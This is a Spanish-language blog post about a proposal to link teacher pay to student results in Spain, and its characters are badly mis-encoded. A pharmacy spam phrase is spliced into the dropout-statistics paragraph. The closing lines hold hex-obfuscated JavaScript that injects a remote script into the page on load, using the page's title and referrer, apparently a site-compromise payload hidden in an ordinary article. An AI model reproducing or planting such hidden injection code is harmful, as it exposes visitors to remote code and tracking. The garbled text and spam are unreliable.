Nueva propuesta de medida educativa: los salarios del profesorado en funciA?n de sus resultados A?sAi?? o no?

profesoresHasta hace pocos dAi??as, el sistema educativo espaAi??ol seguAi??a bajo la misma organizaciA?n y misma normativa. Sin embargo ha saltado en los medios una de las noticias que mA?s revuelo ha tenido en estos dAi??as, consistiendo en que los salarios de los profesores se establezcan en funciA?n de los resultados que obtengan en base a los resultados de sus alumnos.

La simple presentaciA?n de esta medida ha supuesto un contAi??nuo debate de oponiones que no han quedado indiferentes en las redes sociales, desde las opiniones mas extremas que defienden que esta idea es una manipulaciA?n polAi??tica que busca crear mA?s desigualdad entre los trabajadores. Hasta opiniones totalmente contrarias que ven esta opciA?n como una de las mejores medidas hasta ahora planteadas para luchar contra el fracaso escolar en EspaAi??a.

Es bien conocido, que EspaAi??a lidera el abandono escolar, sobre todo en edad temprana, donde el 21’9% de los alumnos deja los estudios zoloft without prescriptions. de la E.S.O, sin graduarse. Si bien es cierto, que se ha producido una mejora respecto al aAi??o 2013 donde la cifra se situaba en un 23’5% del fracaso escolar entre jA?venes, la cifra que nos encontramos actualmente en 2015 no deja de ser preocupante.

Las medidas en la bA?squeda de una reducciA?n del fracaso escolar no han dejado de ser propuestas por las figuras polAi??ticas y varios partidos polAi??ticos. Sin embargo, parece que esta medida inspirada en el modelo FinlandAi??s, donde al parecer ha tenido bastante Ai??xito, no es muy bien vista por el profesorado.

Para los representantes de la EnseAi??anza de los principales sindicatos como CSIF y ANPE, esta diferenciaciA?n entre profesores buenos y malos carece de sentido, puesto que todos han pasado las mismas pruebas y controles para ocupar su puesto, por lo que todos los profesores se encuentran igual de capacitados.Ai??Si en algo coinciden los docentes es que es necesario poner medidas para mejorar la formaciA?n y la labor de los profesores,pero sin que eso incluya un anA?lisis de los resultados acadAi??micos del centro, al ser un factor muy subjetivo.

Por otro lado, la medidaAi?? propuesta por el pedagogoAi?? JosAi?? Antonio Marina, ha sido vista con buenos ojos por el ministro de EducaciA?n, IAi??igo MAi??ndez de Vigo, afirmando que todo cambio es importante en el sistema educativo, sobre todo los cambios que busquen la mejora de los resultados de los alumnos, donde los profesores juegan un papel determinante.

Sin duda, el debate estA? en el aire. Y vosotros A?que opinA?is? x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

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